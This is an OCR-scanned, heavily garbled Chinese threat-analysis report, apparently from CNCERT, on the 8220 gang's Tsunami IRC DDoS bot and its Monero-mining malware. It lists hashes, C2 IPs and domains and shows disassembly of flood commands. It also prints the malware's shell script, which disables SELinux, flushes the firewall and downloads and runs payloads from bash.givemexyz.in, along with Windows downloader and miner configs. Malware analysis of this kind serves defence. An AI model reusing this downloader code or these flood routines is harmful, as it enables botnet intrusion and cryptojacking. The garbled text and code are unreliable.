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off_14044

off_1405C
off_14060

off_14064
off_14068

off_1406C
off_14070

dd
dd
dd
dd
dd
dd
dd
dd

dd
dd

dd
dd

dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
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dd

offset
offset
offset
offset
offset
offset
offset
offset

offset
offset

offset
offset

offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset

tsunami

aPan
pan
alldp
udp

allnknown
unknown

aNick

nicke

aServer

move

alietspoofs . DATA

SUNAM
. DATA XREF: _PRIV
. "PAN"

;. "UpP"
: "UNKNOWN®

- DA XREF: child
[ \ XREF: child

A XREF: child
\ XREF: child

“SERVER

. child
A XREF: child
"GETSPOOFS™

getspoofs

aSpoofs

spoof

aDisable
disable
aEnable
enable

akill
killd
aGet
get

aVersion
version

"SPOOFS"™

"DISABLE"

"ENABLE"

"l

"QET"

"VERSION"

aKillall i Tk

killall

aHelp
help

"HELP"
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4 MD5

WEHS
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7ff1601a0291bd214573956d

Trojan. Linux. CoinMiner

3230. virus cda33230 . Botnet

dbused dc3d2el7df6cef8df41ceS8b0e | Virus. Linux. CoinMiner
ba99291

X86_x64 eb2fbe1b8f818cfba7dafe78ae | Trojan. Linux. CoinMiner
a62c93 . Botnet

1686 101cel70dafe1d352680ce09 | Trojan. Linux. CoinMiner
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mywindows. exe

08e7d711e13e1e95bbdbdc576d90f372

Trojan. Win32. CoinMiner. Botnet

oracleservice. exe

0958fa69bale6645c42215c5325d8f76

Trojan. Win32. 8220. Coinminer

oracleservice. exe

6e7c0ff683d771875cd7edd2ed7b72¢2

Trojan. Win32. 8220. Coinminer

oracleservice. exe

2559e97¢13e731d9f37b1630dff2bble

Trojan. Win32. 8220. Coinminer

oracleservice. exe

b2d3197fa0a66683e217b1f06ecIc4c8

Trojan. Win32. 8220. Coinminer

Xmrig. exe

f0cfl1d3d9ed23166ft6c1f3deecel 9b4

Virus. Win32. CoinMiner
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/‘j\i% RedHat linux, R B R X EWENE, BEKIHLSEY, AT EK, %
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v10 = 0;
if (arec <=2)
US*E [*::'-’."! argv, e |'|-'J H
getargs (ar argv) ;
if ( smode = 1 ]

W ERNRAELRG, #TmOFRTA, W TETR:



dg offset aSsh200penssh21

da offset aSshVulnlod © ©
da offset aSshZUUpensshZZ .
dq offset aSshVulnlog . ©

da offset aSsh200penssh23 ;
dq offset aSshVulnlog

da offset aSsh200penssh2s ; °

dg offset aSshVulnLog

dg of fset aSsh200penssh25_0 :

dg offset aSshVulnlLog

dg offset aSsh200penssh25_1

dg offset aSshVulnLog

da offsct aSsh200penssh25 2 :

dg offset aSshVulnLog
dg offset aSsh200penssh29
dg offset aSshVulnLog

da offset aSsh200penssh29 0 :

dg offset aSshVulnlog
dg offset aSsh200penssh29_1
dg offset aSshVulnlLog

da offset aSsh200penssh29 2 -

dg offset aSshVulnLog

da offset aSsh200penssh30 ;-

dg offset aSshVulnLog

dg offset aSsh200penssh30.0 :

dg offset aSshVulnLog

da offsct aSsh200penssh30_1 :

dg offset aSshVulnlLog

da offset aSsh200penssh3l -

dg offset aSshVulnLog

da offset aSsh200penssh32

dg offset aSshVulnlLog

" 19

DATA FIT cant256 T r 20
2EATr 2

/ n Opev\bb\\ 2.1.1p4 22

EF an+2BF T r 23

0 T r 24

v 25
SSH-2 n Opev\bbl\ 2.2.0p1 26
ssh_vuln 27
SSH-2.0 Op?nbbﬂ 2.3.0p1 28
ssh_wvuln 29
SSH-2. 0 Upenbbl\ 2.5.1p1 30
ssh_vuln 31
SSH-2 n Op?nbb\\ 2.5.1p2" 32
"ssh_vuln. log 33
SSH-2. 0-OpenSSH_2. 5. 2p1 34
ssh_vuln, log 35
SSH-2. 0 UDEHSSH 2.5.2p2 36
vuln 37
8SH-2. 0 Upenbbl\ 2.9.9p1 38
ssh_vuln. log 39
b:-l\ 2.0 Opehbb\\ 2.9.9p2 40

4

H / n Op?nbb\\ 2.9p1 42
sh_vuln 43
8SH-2 n Opehbb\\ 2.9p2 44
ssh_vuln 45
SSH-2.0 Op?nbbﬂ 3.0. 1p1 46
ssh_vuln. log 47
SSH-2. 0-OpenSSH_3. 0. 2p1 48
ssh_vuln. log 49
§5H-2. 0-OpenSSH_3. Op1 50
“ssh_vuln. log 51
SSH-2. 0 Upenbbl\ 3.1p1 52
ssh_wvuln 53
SSH-2. 0 Opev\bbl\ 3.2.2p1 54
ssh_vuln. 55
SSH-2 n Op?nbb\\ 3.2.3p1" 56

da offset aSsh200penssh3z_ o

memset (&s, 0, sizeof(s));
.sa_family = 2;

*5.sa_data = htons (port) ;

*&s. sa_datal2] = inet_addr(a1):
signal (14, timeout);
alarm(3u) ;

if ( connect(sock, &s,

Ox10u) 1= -1)

memset( uf, 0, 0x200uLL);

24 = recv(snck buf, 0x200uLL, 0);
iF (024300

if (buflstrien(buf) - 1] =10)
buf [strien(buf) — 1] =
vl = port;
/2 = inst ntoa (k. sa_data[2]);
printf ("%s [%s:%d] - &s\n", v2,
snprintf(v2 , "scan. cg s
v3 = inet_ntoa (*&s. sa_data(2
snprlntf( 22, UXZUUuLL
dolog(v22, v21);
s'wn;ch ( port )

, buf);
“port) s

buf) ;

case 22:

while ( banner_22[2 * v25++] 1= OLL )
if ( strstr(buf, banner_22[2 * v25]) )
goto LABEL_8;

break;
case 222:
while ( banner_22(2 * v25++] 1= OLL )

if ( strstr(buf, banner_22[2 * v25]) )
LABEL_8:
vd = inet_ntoa (*&s. sa_data[2]) :
snprintf (722, 0x200uLL, "%
£ = ~££ r ey |

%s [%s] - %s\n", v4, al,
4nabEaln * .

buf) ;

4. TP M3 B iR oAt
B Rk ey 8220 S tkey IP KA K HH

R, TEAXE, ERZFEX

1P SRR B B

1P

IP TR

BB B

Pri@X

194. 38. 20. 31

JBCES 55 4% TP

5y

HLh

80.71. 158. 96

JEC iR 55 4 TP

Byt

Fk 2 AT L KW

45.61.184. 118

JEC iR 55 4 TP

RHE

iy 2 LIR30 ]

212.114.52. 24

JEC iR 55 4 TP

e

FRARIN PRI = T AR

209. 141. 59. 139

JBCES 55 4% TP

eS|

W e R

89. 41. 182. 160

JBCES 55 4% TP

24 el

At ks

205. 185.118. 119

JBCES 55 4% TP

eS|

PRI B i i

91.198.77.78

JEC ik 55 4 TP

i =

BrT 4R AT )

104. 244.75. 25

C2

PR

FAREX

51.255.171.23

C2

e

P RX

104.168.71.132

C2

RH

AL

W 4 9K 8220 S 0k 00 4 B I TR

#:

s A% SR A B

B4

A TRE

VA TE]

R 18]

A

bash.givemexyz.in A | 2020-09-25 2022-09-25 Tucows Inc.
a.oracleservice.top TSy i 44 2021-11-03 2022-11-03 Tucows Inc,

c4k xpl.pwndns.pw

C2 4

2019-03-07

Sarek

2023-03-07

_— I‘ 7 =

IL.\u_.\

fRi&mE i

SE AR R RRATH 57




T % CNCERT ## Wl 2 I oy H 7 A K E R AR SRS ERFL, R
#, BANETEENRAZEFERE, A TRET . B NEEFEFTEHEA,

1600
1400
1200
1000
800
600
400
200

Bl A3k U RE I (]2 55 224k

AEENER, LRAKEEEFIP FERBEIEEF AT, R, LEFEH
W, X b E TR

7R, 268%
)11, 4.03%

,EHT'eé 2.13%

\\“t .

M, 17.26%

ST, 5.64% 4

X, 6.16%

T, 0. 27%J

HE, 12.06%

\_Lﬁ 16.00%
K. AE3E H bR IP FTEEE 00 A

2. Tsunami {2 WEITH|IER 4T

CNCERT #f Bk #= %] # Tsunami 8 7 W & #ATHmAE LN, #2022 1 A £ 4 A,
A LM Z W E N IP A ST 2000 4N, TE N E HREREWEN IP K EFN



350
300
250
200
150
100

50

[a W
Lo

08-¥0-2202 2 . Bl
12-¥0-2202 o e
¥2-¥0-2202 - & s
T2-¥0-2202 = oo =
8T-70-2202 = ' WE
ST-%0-2202 M= | B
¢T-70-2202 & T
60-70-2202 B mm iy
90-0-2202 ~
£0-70-220C mm ot | B
T€-£0-220¢ = B 1 WE
82-£0-2202 g ¢ b
§2-£0-2202 g R _ MW
?z-€0-c20z 5 & )
61-£0-2202 5y E 1

e R
91-€0-2202 X & O |
e1-€0-220 W g = Bz
oT-€0-czoc | W T M P
10-80-cc0c B " I

= e N
p0-€0-2202 B X W " FEM
10-€0-2207 M mw . = JF
92-20-2202 N - E
c2-c0-cc0 B & M - W%
0c-z0-zeoc o 8 V
11e0-zeor | & o i
¥1-20-z20z WX Z - EY
T1-20-2c0e . mm N - Y
80-20-220c R ® X -
50-20-2202 A .
20-20-2202 R —— L
0€-10-2202 , < m— (]
12-10-2202 K — 7 [T]
¥2-10-2202 - X — T
6T-10-2202 ® T
9T-10-2202 g - e
€1-10-2202 = B e— ]
0T-T0-2¢20¢ = R —— £
/0-T0-¢c0¢ IS e
¥0-10-2202 S ) M%
10-10-2202 O e ———— =

€
500
450
400
350
300
250
200
150
100
50
0

#*%

FM&ZEENIP KA F, RAREFREAN IDC 4 5l

SN IP ML B A
i 39.21%., 36.21%. H#F IDC KR IP £,

=1

=

Kl

7 B 1K 15 ] 6 1

1

N

A,



KA, 24.34%

ERIDC, 36.20%
“lIIIII |
BRNRETEER
EHH A, 0.05%

BAKE, 39.21%_\

BRA, 0.20%
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4.1, Tsunami {EF M2 54
BEFESTR LB KRR FE G ENEE, BILERUTEER:

nick = XJZGGP
ident = ECGLO

user = GDID
chan = “#. br”
—_ (153 7

key = “ircbot456@

server =0
dd  esp, 10h o 24 #nickl = makestring();
all makestring ® 25 ident = makestring():
ov edx, eax ® 26 user = makestring();
ea eax, (nick — OF7FDBFD4h) [ebx] ® 27 chan = "#.br";
ov [eax], edx ® 28 key = "ircbhot456@";
all makestring ® 29 server = 0;
ov edx, eax ® 30 while (1)
ea eax, (ident — OF7FDBFD4h) [ebx] 31 {
ov [eax], edx 32|LABEL_9:
main+l8D (Synchronized with EIP, Pseudocode-R) W 00004C33 main:24 (FTFC9C33) (Synchronized wit

> £

00 6@ 01 00 0@ 60 11 68 B8 @8 ................
00 8@ 11 @0 60 68 11 @8 e 88 XJIGGP..........
FD F7 11 @@ ©ee ©e 11 @@ e e ECGLO...........
FD F7 11 @@ @8 88 Ce @F 68 @@ GDID............
FD F7 @0 00 02 00 60 68 88 @8 ................

ERIERNGE, mEFAE -8B HEBANEKE, RENETHNZWRIHE.



call con

lea eax, (user — OF7FCFFD4h) [ebx]
I mov esi, [eax]

lea eax, (ident — OF7FCFFD4h) [ebx]

mov ecx, [eax

lea eax, (nick — OF7FCFFD4h) [ebx]
| mov edx, [eax

lea eax, (sock — OF7FCFFD4h) [ebx]

mov. eax, [eax]

sub esp, 0Ch

push esi

push 86X

push edx ; char
lea edx, (aNickSUserSLoca — OF7FCFFD4h) [ebx]
push edx ;oint
push eax ; fd
call Send

24 *nick = makestring();

25 ident = makestring():

26 user = makestring();

27 chan = "#Ho";

28 key = "xxx";

29 server = 0;

30 while (1)

<

32|LABEL_9:

33 con () ;

34 Send(sock, “NICK %s\nUSER %s localhost localhost :%s\n", nick[0D):
35 while (1)

36

37 v14 = &rfds;

38 for ( j=32; j; —i)
39 {

40 V9 = vid;

R RE BN BT

NICK XJZGGP
USER ECGLO

REBECAEE, FHEERIEHENER 2,

B0 02 80 20 0@ 2@ 60 ee 0o ee e
43 45 28 41 55 54 48 2@ 3A 24 2A
6B 69 BE 67 28 75 70 2@ 79 6F 75
74 6E 61 6D 65 2E 2E 2E @@ 75 72
6E 61 6D 65 2E 2E 2E @@ 0@ 24 69
73 63 67 6F 2E 70 77 20 4E 4F 54
55 54 48 28 3A 2A 2A 24 20 43 6F
74 28 72 65 73 6F 6C 76 65 208 79
6F 73 74 6E 61 6D 65 3B 28 75 73
6F 75 72 28 49 50 20 61 64 &4 72
BE 73 74 65 61 64 @D @A 45 52 52
6C 6F 73 69 6E 67 20 4C 69 6E 6B
32 3@ 32 2E 32 34 39 2B 37 33 5D
67 28 74 69 6D 65 6F 75 74 3A 20
63 6F BE 64 73 29 @D BA 0O 80 80
B2 02 B0 29 00 20 G0 B@ OO 80 a0

Z a2 RB\EYCA B HF84
flood % 7,

Send (
fd,
"NOTICE %s :TSUNAMI <target> <{secs>
a2):

sleep’(Zu);
Semal

localhost localhost :GDID

BRE N BE T

80 4E 4F 54 49 . ........... NOTI
2A 20 AC 6F 6F CE-AUTH-:***.|lpo
72 pli 68 6F 73 king-up-youd-hos
20 68 6F 73 74 tname....ur-host
72 63 2E 62 61 name.....: irc.ba
49 43 45 20 41 shgo.pw-NOTICE-A
75 6C 64 6E 27 UTH-:***.Couldn’
6F 75 72 28 68 t-resolve-your-h
69 BE 67 20 79 ostname;-using-y
65 73 73 20 69 our-IP-address-i
AF 52 28 3A 43 nstead..ERROR-:C
3A 20 5B 31 2E losing-Link:-[1.
20 28 58 69 6E 282.249.73]-(Pin
33 31 28 73 65 g-timeout:-31-se
60 B0 0B 60 BB conds)..........
B0 B0 88 BB BB ........... ...

, &R 7 A # DDoS X, ] “PAN” K% Syn
“UDP” % udp flood % &5, #wTA:

= Special packeter that wont be blocked by most firewalls\n",

fd,
]"NDTlCE %s :PAN <target> <port> <{secs>

= An advanced syn flooder that will kill most network drivers\n”,

T

5

eep (2u) ;
Spnd (fd, "NOTICE %s :UDP <target> <port> <secs>

= A udp flooder\n", a2);

Bl pvaus
Send (fd, "NOTICE %s
sleep (2u) ;
Send (fd, “NOTIGE %s
sleep (2u) ;
Send (fd, "NOTICE %s
sleep (2u) ;
Send (fd, "NOTICE %s
sleep(2u) ;
Send (fd, “NOTICE %s
sleep(2u) ;

Send (

:UNKNOWN <target> <secs>
:NICK <nick>

:SERVER <server>
:GETSPOOFS

:SPOOFS <subnet>

fd, I
"NOTICE %s :DISABLE
a2);
sleep (2u) ;
Send (

fd,
"NOTICE %s :ENABLE
a2);
sleep (2u) ;
Send (fd, "NOTICE %s :KILL
sleep(2u) ;

= Another non-spoof udp flooder\n®, a2);
= Ghanges the nick of the client\n", a2);
= Changes servers\n", aZ2);

= Gets the current spoofing\n”, a2);

= Changes spoofing to a subnet\n”, a2);

= Disables all packeting from this client\n",

= Enables all packeting from this client\n",

= Kills the client\n", aZ);

4.2, CoinMiner IZH ¥R

¢ Linx¥EEH

LT A BRI 4T

_10_



TEERA—: Linux 37 FEFERF 711601a0291bd214573956dcda33230. virus

PHANERS R RAG K., MK EET wEi, T THERHT. RA
FEXNFET BT %,

g%, KW selinux 5 K3, FH4#ER XK 25K A 50000, w0 T H:

SHELL=/bin/bash

PATH=/sbin:/bin: /usr/sbin: /usr/bin

setenforce 0 2>/dev/null

ulimit -u 50000

echo "" > /etc/ld.so.preload

iptables -F

echo "vm.nr hugepages=5((1168+5(nproc)))" | tee -a /etc/sysctl.conf
sysctl -w vm.nr hugepages=5((1168+3 (nproc)))

echo '0' >/proc/sys/kernel/nmi_watchdog

echo 'kernel.nmi watchdog=0' >>/etc/sysctl.conf

Z J& , 47 7 pool. supportxmr. com (7 #) . bash. givemexyz. in( 17 T # 8 835 %)
&% ping k. MR IEH, W TRERHMS, B TRXMHE 44 A dbused.

get() (
chattr -i $2; rm -rf $2
wget -q -0 - $1 > §2 || curl -fsSL $1 -o $2 || python -c "import urllib; print urllib.urlopen('$1').read()" > $2 || lwp-download $1 $2
Il wge -q -0 - $1 > $2 || cur -fsSL §1 -0 $2
chmod +x $2

}

DIR="cd /tmp || cd /var/tmp || cd /dev/shm || cd /root; pwd
cd /tmp || cd /var/tmp || cd /dev/shm || cd /root
if [ $(ping -c 1 pool.supportxmr.com 2>/dev/nulligrep "bytes of data" | wc -1 ) -gt '0' ]
then
dng=""
else
dns="-d"
fi

if [ $(ping -c 1 bash.givemexyz.in 2>/dev/nulligrep "bytes of data" | wc -1 ) -gt '0' ];

then
url="http://bash.givemexyz.in"
else
url=" : 09,14 ag"
i
ps —fe | grep dbused | grep -v grep; if [ $? -ne 0 ]; then
get $url/$(uname -m) $DIR/dbused; chmod +x $DIR/dbused; $DIR/dbused -pwn; $DIR/dbused -c $dns; rm -rf $DIR/dbused
i

ps -fe | grep bashirc | grep -v grep; if [ $2 -ne 0 ]; then
get $url/bashirc.$(uname -m) $DIR/bashirc; chmod +x $DIR/bashirc; $DIR/bashirc; rm -rf $DIR/bashirc
fi

RERNFEENFHET BT, RANAARZHE, wTH:

kill sus_proc()

{
ps axf -o "pid"|while read procid
do
1s -1 /proc/$procid/exe | grep /tmp
= if [ $2 -ne 1 1]
then
cat /proc/sprocid/cmdline| grep -a -E "dbused|dbusex|bashirc|hxzx"
= if [ $7 -ne 0 1]
then
kill -9 $procid
else
echo "don't kill"
fi
fi
done
ps axf -o "pid %cpu" | awk '{if(52>=40.0) print $1}' | while read procid
= do
I cat /proc/$procid/cmdline| grep -a -E "dbused|dbusex|bashirc|hxx"
= if [ $2 -ne 0 1
then
kill -9 $procid
else
echo "don't kill"
fi
done
-}

kill sus_proc

— 11 —



I ==
Td=N

AT : Linux 2% 2 dbused
7 R FXRAFIELET 25 XMRig mET A&, BAWNRT upx 7T, HEAKKF

% “pwnrig” HATARIC. XMRig %% 50 T B Bk

-

Usage: pwnrig [OPTIONS]\n\nNetwork:\n

=0,
-a,

-V,

——ur I=URL
——algo=ALGO
—coin=COIN
—user=USERNAME
——pass=PASSWORD
——userpass=U:P
—keepal ive
—nicehash
—rig-id=ID
—tls
—tls—fingerprint=HEX
——daemon

——daemon—pol l-interval=N

——self-select=URL
—retries=N
——retry—-pause=N
——user—agent
—donate—level=N
——donate—over—proxy=N
——no—cpu
—threads=N
——av=N
—cpu-affinity
——cpu-priority

——cpu-max—threads—hint=N

——cpu-memory—poo =N
——cpu-no-yield

URL of mining server'n

mining algorithm https://xmri-
specifTy coin instead of algor-

username Tor mining server\n
password for mining server\n

username:password pair for mi-
send keepalived packet for pr-

enable nicehash. com supportin

rig identifier for pool-side

enable SSL/TLS support {needs-
pool TLS certificate fingerpr-
use daemon RPC instead of poo-
inmilli-
self-select block templates f-
number of times to retry befo-
time to pause between retries-
set custom user—agent string -
default 5%% (5 -
control donate over xmrig—pro-

daemon poll interval

donate level,

disable CPU mining backend\n
number of CPU threads\n
algorithm variation,

0 auto s-
set process affinity to CPU c-
set process priority (0 idle, -
maximum CPU threads count (in-
number of 2 MB pages for pers-
prefer maximum hashrate rathe-

WET mEyIK P FHE L.

BLEH ittt E 2,

URL of "...

mov edx, 22h : '"'

lea rsi, alsagePwnrigOpt : "Usage: pwnrig [OPTIONS]\n\nNetwork:\n"
lea rdi, qword_SDF1C0

mov rbx, 7FFFFFFFFFFFFFFFh

call sub_427E34

mov rax, rbx

sub rax, cs:qword_SDF1CB

cmp rax, 34h .

jbe loc_94002

mov edx, 35h ;'

lea rsi, aOUrlUrlUrIOfMi : " -0, ur I=URL
lea rdi, qword_SDF1C0

call sub_427E34

_12_



lea
lea
call
mov
sub
cmp
Jjbe

lea
lea
call
mov
sub
cmp
Jbe

lea
lea
call
mov
sub
cmp
Jjbe
mov
lea
lea
call
mov
sub

edx, 53h ; 'S’

rsi, ahAlgoAlgoMinin ; "
rdi, gqword_SDF1C0
sub_427E34

rax, rbx

rax, cs:gword_SDF1C8
rax, 41h ; "A’
loc_94002

edx, 42h ; 'B’

rsi, aCoinCoinSpecif ; "

rdi, gword_SDF1C0

sub_427E34

rax, rbx

rax, cs:gword_SDF1C8
rax, 3Ah ; '
loc_94002

edx, 3Bh ; "'

rsi, alUUserUsernamel : "

rdi, gword_SDF1C0

sub_427E34

rax, rbx

rax, cs:gword_SDF1C8
rax, 3Ah ; '
loc_94002

edx, 3Bh ; "'

rsi, aPPassPasswordP : "

rdi, gword_SDF1C0
sub_427E34

rax, rbx

rax, cs:gword_SDF1C8

BE CPURALBERAF AN,

lea
lea
call
mov
sub
cmp
Jjbe
mov
lea
lea
call
mov
sub
cmp
Jjbe

lea
lea
call
mov
sub
cmp
Jjbe
mov
lea
lea
call
mov
=ih

eax, oun :

U8 RSB AT

rsi, aCpuAffinitySet . =

rdi, qword_S5DF1C0

sub_427E34

rax, rbx

rax, cs:gword_SDF1C8
rax, 54h ; 'T'
loc_94002

edx, 55h ; '’

rsi, aCpuPrioritySet ; "
rdi, gword SDF1C0
sub_427E34

rax, rbx

rax, cs:gword_SDF1C8
rax, SDh ; "
loc_94002

edx, 5SEh

rsi, aCpuMaxThreadsH ;. "
rdi, qword_SDF1C0
sub_427E34

rax, rbx

rax, cs:qword_SDF1C8
rax, 67h ; ‘g’
loc_94002

edx, 68h ; 'h'

rsi, aCpuMemoryPoolN ;
rdi, qword_5DF1C0
sub_427E34

rax, rbx

rs-nwnrd SNF10AR

raw

N

wEHTEY, TEHET RE.

-a, ——algo=ALGO

mining "
coin=COIN specify”...
u, user=USERNAME usernam”. ..
ss=PASSWORD passwor”. ..

P, pa

bl

——cpu-affinity

_13_

cpu-priority

cpu-max—threads—hint=N

cpu-memory—pool=N

set pro”...

set pro”...

max imum”. . .

r'lUmbe r



{"id":1,"jsonrpc":"2.0", "method": " login", "params":

{"logi ."46E9UkTFqALXNthSbA?WGDoazlﬁh4WVgUgPVdTQZdtweLRvAthbvqudhEmeHbsavaoSerSZRb4qJzFXLVHGYH4moQ" "pass"'"[192 168.108.
201:22][augenstern] [ubuntu] [6][17-8750H]", "agent": "pwnRig/ (by pwned) (Linux x86_64) libuv/1.23.2 gc Ll cn/i" "cn/
2", "cn/r", "cn/fast", "en/half", "en/xao", "cn/rto", "cn/rwz", "cn/z1s", "cn/double", "cn/gpu"”, "cn- lite/1", "c:n heavy/0",
tube", "cn- heavy/xhv", "cn- plCCl" "cn- plco/tlu", "rx/ﬂ" " rx/wnw", "rx/lokl“ q "rx/arq", "rx/sfx", “argun2/chukwa" "argunz/wrkz”]}}
{"jsonrpc":"2.0","id":1, "error":null, "result": {"id":"857454219320763", "joh":
{"blob":"GeeefecCd79306382e0533bcdc467d4593csf9e&453559€9b7b7bcfb446d2b0428a4cf24f9d38260009@09837415c53931@9d1702fbff7794223530
d398539000ch59a3086027ee7e3eef324", "job_id":"376749835094287", "height":

2617966, "seed_hash":"99d470b25506ec9a92b1fbe7bB6al8bddicbbdd1bfe52ad01178fb4156d53b98", "target" : "711b0dee™, "id" : "857454219320763
", "algo":"rx/@"}, "status":"0K"}}

{"methad job", "params":
{"blob":"0eBe95ced79306a82e0833bcdc467d4593c579e645355ee9b7b7bcfb446d2bb426a4cf24T9da82000000000aefT2287e0dc12512037366185c7508e
8bT389059e956bc6771ac3bB974a8923a", "job_id":"771171715793030", "height":
eed_hash":"99d470b25506ec9a92b1fbe7be6al8bddichbbd®1bfes52ade11f8fb4156d53b98", "target" :"711bedee", "id" : "857454219320763
rx/8"},"jsonrpc":"2.0"}

,"jsonrpc":"2.0", "method": "submit", "params":

:"857454219320763", "job_id":"771171715793030", "nonce" : "d3000000", "result":"1e568cbh185513e1147c90401b38fb6b7c5874703a8c288b3
99effca54c210460"}}

{"]sonrpn" :"2.0","id":2, "error":null, "result": {"status":"0K"}}

'. 2. E)", "method":"submit", "params":

:"857454219320763", "job_id":"7711717157930308", "nonce": "f3010200", "result": "c2893fe21a6bcT5bh4e0156b77e7d2bd861913e68347ce3c
5e4f5c6e5af20100"}}

{"jsonrpc":"2.0","id":3,"error":null, "result": {"status":"0K"}}

{"method":"job", "params":

€ Windows &
T o Rl amsE—f s S| AR,
EEMAR—: Windows ZH #£F mywindows. exe

PALGEEGRAMEL TREREHFHN URL, QELZ LB AERT HEREREX
. BELZTBFEEANNF.

PAGREFABNZEE ARE NSRS TH A URL, 0 T B Frox:

FF35 AC19FC00 |push dword ptr ds:[FC19AC]
68 ACIS5FCO0 push 08e7d71lel3ele95bbd>dc576d90f372.FC1|FC15AC: "http: //212.114.52. 24 /xmr. txt"
6A 10 push 10
68 AO09EDFO00 push 08e7d71lel3ele95bbd5dc576d90f372.DF9|DFIEAD: "0125789244697858"
E8 EBESFFFF call 08e7/d71lel3ele95bbd5dc576d90f372 . DF1
68 AC17FCO0 push 08e7d71lel3ele95bbd5dc576d90f372.FC1|FC17AC: "FALSE"
68 B49EDFO0 push 08e7d71lel3ele95bbd5dc576d90f372.DF9DFIERS : "FALSE"
E8 ACE3FFFF call 08e7d71lel3ele95bbd5dc576d90f372. DF1

83c4 18 add esp,18
85c0 test eax,eax
~ 74 1A je 08e7d71lel3ele95bbd5dc576d90f372.DF342

FF35 BO19FC00 (push dword ptr ds:[FC19B0]
68 ACI7FCO0 push 08e7d71lel3ele95bbd5dc576d90f372.FC1|FC17AC: "FALSE"
6Aa 10 push 10
68 BCOEDFO0 push 08e7d71lel3ele95bbd5dc576d90f372. DF9|DFIEBC: "0125789244697858"
E8 BEESFFFF call 08e7d71lel3ele95bbd5dc576d90f372 . DF1
83c4 10 add esp 10

57

nnch adi

.€95bbd5dc576d90f372: $3425 #2825
fre Qmrs Qum: EEsTE ) wus

i

ASCIT - 8822325? |
F 32[31 32 2 31|31 34 2E 35|http://212.114.5 0055DC00 |1
D 72|2E 74 78 74|00 00 00 00|2.24/xmr.txt.... 0055DC04 |1
0 00|00 00 00 00|00 00 00 OOf................ 0055DC08 |!
N onlnn an oo onlnn nn oo onn JUo bl

Bt R X H LR AN, 7t AN E, X ENAMEHTRE,
WRAHEE, eBUEF, wTEAT:

dword_1F1306 = cox18;

memeset_21BBO(byte 1F1138, 0, 0x100u) :

copy_21640 (byte 1F1138, &unk 29F40, dword 1F1238 + 1);

decrypt_210EQ("0125789244697858", 0x10, byte_1F1138, dword_1F1238) ;// 46E9UKTFQALXNH2mSbATNGDoaZi 6h4MVEUgPVATZd twel RvARMmbyuY1dhEmf jHbsayvKXo3eGF5ZRbAaJzFXLVHEYHANGQ
22120 EBE1201D = sub_21BEO (byte_1F1138, dword_1F1238) ;// EBB1201D

memeset_21BBO (byte_1F123C, 0, 0x80u):

Gopy_21640 (byte_1F123C, Sunk 2A018, dword _1F12BC + 1);

decrypt_210E0("0125789244697858", 0x10, byte_IF123C, dword_1F12B0):// 212. 114, 52. 24:6080
cax20 71470380 = sub_21BEO (byte 1F123C, dword 1F12BC);// 214A038D

if (o5i20 E81201D 1= OXEBBI20TD || cax20 213A036D 1= 0x214A038D )

i| ExitProcess (0x27u) ;

W 5 4 & ALmRPARCYN Xk, FA NG| ZEBHES, B EHFREZESE
E T, FARZ T basebd AL cfg BB X, XHHNEAT HELE, wTHE:

68 BGAlﬁHOG

68 24138 \ALWRPARCYN" BRlreu
£8 JADIFFFF HALTREAREY EAX 00851324  L"C:\\ProgramData\\ALWRPARCYN"
8 4208500 EBX 00000000
68 PathName> 851324:L"C srogramData)\\ALmRPARCYN" Eex Egzgzggg
EB ZSDJFFFF call .5trcat_681970> EBP  OOEFFALS
:Sghein- 0 ESP  OOEFDDDO &L"C:\\ProgramData'\\ALmRPARCYN"
ss 24133500 push <my . PathName 851324:L"C: \\Programpata\\ALmRPARCYN" | Eor 9%3?23?8 ‘Eté,.}%?“éﬁ%}é!{???ﬂﬁ!“ axe’
F15 08906800 |:|11 dword ptr ﬂs [<&createDirectoryws] |
§5co test eax,eax eax:L"C: \\ProgramData\\ALNRPARCYN" EIP  0DGBA46SS mvwindows . 00684655
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ERVIV N TR T W )

"pools™: [

{

ZJa,

lea
push
push
call
lea
push
push
call
lea
push
lea
push
call
lea
push
push
cal l
lea
push
push
call
lea
push
push
cal
lea
push
lea
push
cal
lea
push
push
call
add
lea
push

"algo": null,

"coin": "monero",

"arl"™: "212.114.52.24:8080",
"user": "44108282-109e-44b6-9491f-3%a86b221731",
llpassll: llel’

"rig-id": null,

"nicehash": false,
"keepalive": true,
"enabled": true,

"tls": false,
"tls-fingerprint": null,
"daemon": false,
"self-select™: null

TR F A — Internet HREF A (url), AT EEBZNEAT, W TEA

eax, [ebptvar_A18]

offset aSetObjfsoCreat ; "Set objFS0=Createlbject (\"Scripting. F
eax

copy 3d1A00

eax, [ebp+var_A18]

offset alutfile : "outFile=\

eax

streat_3d1970

eax, [ebptvar E18]

eax

eax, [ebptvar_A18]

eax

streat_3d1970

eax, [ebptvar A18]

offset asc_3DAVD8 . "\"\r'n"

eax

stroat_3d1970

eax, [ebp+var_A18]

offset aSetObjfileObjf ;: "Set objFile = objFS0.CreateTextFile (out”
eax

strecat_3d1970

eax, [ebptvar_A18]

offset albjfileWriteln : "chjFile.Write \"[InternetShortcut/\" & "
eax

streat_3d1970

eax, [ebptExistingFileName]

eax

eax, [ebp+var_A18]

eax

streat_3d1970

eax, [ebptvar_A18]

offset aExe ;o Moexe\ VR

eax

strcat 3d1970

esp, 40h

eax, [ebptvar_A18]

offset aObjfileClose ; "objFile. Close\rin"

TEEZMHARZTZETR: Windows 1IZH 2 oracleservice. exe

B #l

%k 2 iz Btk & A oracleservice.exe W FE A K &HF 4 A, ¥ A

Trojan. Win32. 8220. Coinminer 124 K5 . & @448 F i R & 3 44, —EFEZERE A
e ] R A e T BT R

7157



Sleep(©x3A98u);
memset (& tartupInfo, @, sizeof(Startupinfo));
StartupInfo.ch = 104;

V12 = 9i64;
V11 = 2460884164;
V10 = 0i64; TERAMTE

get_pgmptr(&alue);

Format = (char *)sub_401000(&unk_402021, 5i64);

vB = (const char *)sub_401000(&unk_ 402027, 10i64);

w4 = getenv(vo);

vl = sub 401000(&unk 402032, 20i64);

sprintf(Buffer, Format, v4, vl);

v2 = (const char *)sub_4010008(&unk_4082047, 9i64);

sprintf(CommandLine , Buffer, Vvalue);

CreateProcessA(Buf CommandlLine, 0i64, 0i64, 0, @x8000004u, 0i64, 0i64, &Startupinfo, &ProcessIinformation);
sub_4@1A9A(ProcessInformation.hProcess, &12, 8i64, &v11, 12288i64, 64i64);

sub_401000(&unk 402051, 2460884i64);

sub_401A5A();

sub_401ADA(ProcessInformation.hProcess, &v12, &10, 16i64, 0i64d);

